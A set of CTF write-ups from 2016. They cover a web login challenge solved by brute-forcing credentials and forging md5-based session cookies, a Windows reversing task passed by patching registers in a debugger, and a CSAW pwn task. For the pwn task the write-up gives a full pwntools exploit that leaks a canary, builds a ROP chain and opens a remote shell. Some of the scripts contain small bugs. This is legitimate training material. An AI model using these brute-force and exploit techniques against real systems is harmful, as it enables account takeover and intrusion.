M*CTF web200 writeup

Its simple. Just hack it.

screenshot-from-2016-09-26-01-17-56So we have a standard login page. Nothing special happening.

If you enter admin:admin, you get an error message.

screenshot-from-2016-09-26-01-21-40It says User not found. So let’s try to brute this with a common wordlist:

import requests
import os
import  Queue
from threading import Thread

fp = open("wordlist.txt", "r")
abc = requests.post("http://web200.mctf.aciso.ru/login.php", data={"login":"some", "password":"abc", "submit":""}).text
q = Queue.LifoQueue()


start = 0
nop = 1000000

counter = 0
while 1:
    word = fp.readline().strip()
    word = word
    if counter < start:
        continue
    if not word:
        break
    counter += 1
    q.put(word)

print "added", counter, "passwords/usernames"

def doshit():
    while not q.empty():
    usernames = q.get()
#print "trying ", usernames
    if usernames == "":
        break
    while 1:
        try:
            r = requests.post("http://web200.mctf.aciso.ru/login.php", data={"login":usernames, "password":"", "submit":""})
        except KeyBoardInterrupt:
            os.exit()
        except:
            pass
        if r.text != abc:
            print "Got it ", usernames
        break
    q.task_done()

for i in range(10):
    t1 = Thread(target = doshit)
    t1.start()
q.join()

I used the wordlist from here. I found 3 users, “user”, “guest”, “Administrator”, maybe there are more but lets try to brute their passwords now. You can do that by making just a few changes to the script above. I found out that user’s password is “password”. I can then login to the panel and I see this:

screenshot-from-2016-09-26-01-27-26

Oh well. Nothing important in the source or the page. I then checked the cookies:

some

That looks like an md5 hash. Its decoded value is ‘1’

So it looks like the website generated session ids is just md5(user_id).

Lets write a script to brute user ids till 2000.

import requests
import os
import  Queue
from threading import Thread
import md5

abc = requests.get("http://web200.mctf.aciso.ru/index.php", cookies={"PHPSESSID":"c81e728d9d4c2f636f067f89cc14862d"}).text

print abc

q = Queue.LifoQueue()

counter = 0
max_limit = 2000
while 1:
    q.put(md5.md5(str(counter)).hexdigest())
    if counter == max_limit:
        break
    counter += 1

print "added", counter, "ids"

def doshit():
    while not q.empty():
    usernames = q.get()
#print "trying ", usernames
    if usernames == "":
        break
    while 1:
        try:
            r = requests.get("http://web200.mctf.aciso.ru/index.php", cookies={"PHPSESSID":usernames})
        except KeyBoardInterrupt:
            os.exit()
        except:
            pass
        if r.text != abc:
            print "Got it ", usernames
        break
    q.task_done()

for i in range(10):
    t1 = Thread(target = doshit)
    t1.start()
q.join()

I find that 1337 is one of the valid sessions. I use e48e13207341b6bffb7fb1622282247b as the session id, and I get this:

aaaaassssThat’s our flag :D!

 

GameTime, CSAW CTF 2016 writeup

GameTime was an easy windows rev task. The challenge is a game which asks you to press keys on demand. It gives you around 0x14 milliseconds to enter the key. Lets fire up olly and first look for all referenced text strings – its always a nice starting point.

play

Lets setup a break point at 0xF31668 and run the program.

 

sss

Now stepping through the print statements we see something interesting at 0x00F31680.

sosme

The first time it asks for an s and for the rest of the times it uses some other character in ESI. Then after a few prints it there is something interesting at 0xF314CB.

sshshshs

That function returns 1 if you pressed space in the correct time otherwise returns 0. The return value in al is checked  at 0xF31403. Lets just set a break point there and let the program run. Change the value of EAX to 1 and pass the check. Set the break point at the next Test AL, AL instruction, and let it rip.

mkc

Nice, we stepped through the initial stage. Change the value of AL and move on. Do the same chore for rest of the stages.

some2

After a few stages and a lot of bitflipping, you get this:

hahaha

There’s our flag :)

Tutorial, CSAW CTF 2016 writeup

Tutorial was an easy pwn in CSAW CTF 2016, worth 200 points.

Ok sport, now that you have had your Warmup, maybe you want to checkout the Tutorial.

Download the challenge from here. By passing it to the file command we get it know its a 64bit ELF. ldd shows it uses libc-2.19.so. Lets fire up ida and check what’s happening.

It binds a socket to the port number given as argument, forks and calls a function called ‘priv’ in the child process.

signed __int64 __fastcall priv(const char *a1)
{
  signed __int64 result; // rax@2
  struct passwd *v2; // [sp-8h] [bp-8h]@1

  v2 = getpwnam(a1);
  if ( v2 )
  {
    if ( chdir(v2->pw_dir) )
    {
      perror("chdir");
      result = 1LL;
    }
    else if ( setgroups(0LL, 0LL) )
    {
      perror("setgroups");
      result = 1LL;
    }
    else if ( setgid(v2->pw_gid) )
    {
      perror("setgid");
      result = 1LL;
    }
    else if ( setuid(v2->pw_uid) )
    {
      perror("setuid");
      result = 1LL;
    }
    else
    {
      result = 0LL;
    }
  }
  else
  {
    fprintf(_bss_start, "User %s does not exist\n", a1);
    result = 1LL;
  }
  return result;
}

Just changes the directory and set appropriate right. Seems normal. Then it calls ‘menu’:

ssize_t __fastcall menu(int a1)
{
  char v2; // [sp-10h] [bp-10h]@1

  while ( 1 )
  {
    while ( 1 )
    {
      write(a1, "-Tutorial-\n", 0xBuLL);
      write(a1, "1.Manual\n", 9uLL);
      write(a1, "2.Practice\n", 0xBuLL);
      write(a1, "3.Quit\n", 7uLL);
      write(a1, ">", 1uLL);
      read(a1, &v2, 2uLL);
      if ( v2 != 50 )
        break;
      func2((unsigned int)a1, &v2);
    }
    if ( v2 == 51 )
      break;
    if ( v2 == 49 )
      func1((unsigned int)a1, &v2);
    else
      write(a1, "unknown option.\n", 0x10uLL);
  }
  return write(a1, "You still did not solve my challenge.\n", 0x26uLL);
}

func1 prints the reference:

__int64 __fastcall func1(int a1)
{
  char *v1; // ST20_8@1
  __int64 v3; // [sp-40h] [bp-40h]@1
  __int64 v4; // [sp-8h] [bp-8h]@1

  v4 = *MK_FP(__FS__, 40LL);
  v1 = (char *)dlsym((void *)0xFFFFFFFF, "puts");
  write(a1, "Reference:", 0xAuLL);
  sprintf((char *)&v3, "%p\n", v1 - 1280);
  write(a1, &v3, 0xFuLL);
  return *MK_FP(__FS__, 40LL) ^ v4;
}

So, reference = addr_of(Puts) – 0x500. We can use this reference to calculate the base of libc. base_of_libc = reference – 0x500 – offset_of(Puts). Let’s now check func2, that the function that has the buffer overflow vulnerability.  Lets check whats that all about:

__int64 __fastcall func2(int a1)
{
  __int64 v2; // [sp-140h] [bp-140h]@1
  __int64 v3; // [sp-8h] [bp-8h]@1

  v3 = *MK_FP(__FS__, 40LL);
  bzero(&v2, 0x12CuLL);
  write(a1, "Time to test your exploit...\n", 0x1DuLL);
  write(a1, ">", 1uLL);
  read(a1, &v2, 0x1CCuLL);
  write(a1, &v2, 0x144uLL);
  return *MK_FP(__FS__, 40LL) ^ v3;
}

So it uses read 0x1CC bytes to v2. It reads 0x1CC onto [rbp-140h], which means we can easily overflow the canary, return pointer and still have around 120 bytes for the rop chains. To overflow the return pointer, we need to overwrite the canary bytes correctly for it to not get detected before the return. The canary leak is available from the last write statement. Here’s the final exploit:

from pwn import *


pop_rsi = 0x0000000000024885
offset_dup2 = 0x00000000000ebe90
offset_system = 0x0000000000046590
offset_bin_sh_string = 0x000000000017c8c3

r = remote('pwn.chal.csaw.io', 8002)
print r.recvline()
print r.recvline()
print r.recvline()
print r.recvline()

r.send('1')
libc_base = int(r.recvline().split(':')[1], 16) 
print hex(libc_base + 0x500)
libc_base = libc_base + 0x500 - 0x000000000006fd60
print hex(libc_base)
pop_rdi += libc_base
pop_rsi += libc_base

print r.recvline()
print r.recvline()
print r.recvline()
print r.recvline()

r.send('2')
print r.recvline()
r.send('A')
a = r.recvline()
yay = a.split('-Tutorial')[0][1:]
#canary = struct.pack('<Q', int(canary, 16))
canary = yay[312:312+8]
#print canary.encode('hex')
r.send('2')
print len(yay)
exploit = 'A' * 312 + canary + 'a' * 8


print 'rdi', hex(pop_rdi)
print 'rsi', hex(pop_rsi)
print 'dup2', hex(libc_base + offset_dup2)
exploit += p64(pop_rdi)
exploit += p64(4)
exploit += p64(pop_rsi)
exploit += p64(0)
exploit += p64(libc_base + offset_dup2)
exploit += p64(pop_rdi)
exploit += p64(4)
exploit += p64(pop_rsi)
exploit += p64(1)
exploit += p64(libc_base + offset_dup2)
exploit += p64(pop_rdi)
exploit += p64(libc_base + offset_bin_sh_string)
exploit += p64(libc_base + offset_system)
exploit += p64(0xDEADBEEF)
print 'exploit len: ', len(exploit)
#exploit = 'A' * 350
r.send(exploit)
r.interactive()

Lets fire it up and see what happens:

aneesh@aneesh-ubuntu:~/CSAW$ python pwn2.py 
[+] Opening connection to pwn.chal.csaw.io on port 8002: Done
-Tutorial-

1.Manual

2.Practice

3.Quit

0x7fad235d3d60
0x7fad23564000
-Tutorial-

1.Manual

2.Practice

3.Quit

>Time to test your exploit...

324
rdi 0x7fad23586b9a
rsi 0x7fad23588885
dup2 0x7fad2364fe90
exploit len:  440
[*] Switching to interactive mode
1.Manual
2.Practice
3.Quit
>Time to test your exploit...
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\xb1\x98g\x90]�paaaa$
$ ls
flag.txt
tutorial
tutorial.c
$

Aaand we’re in! :)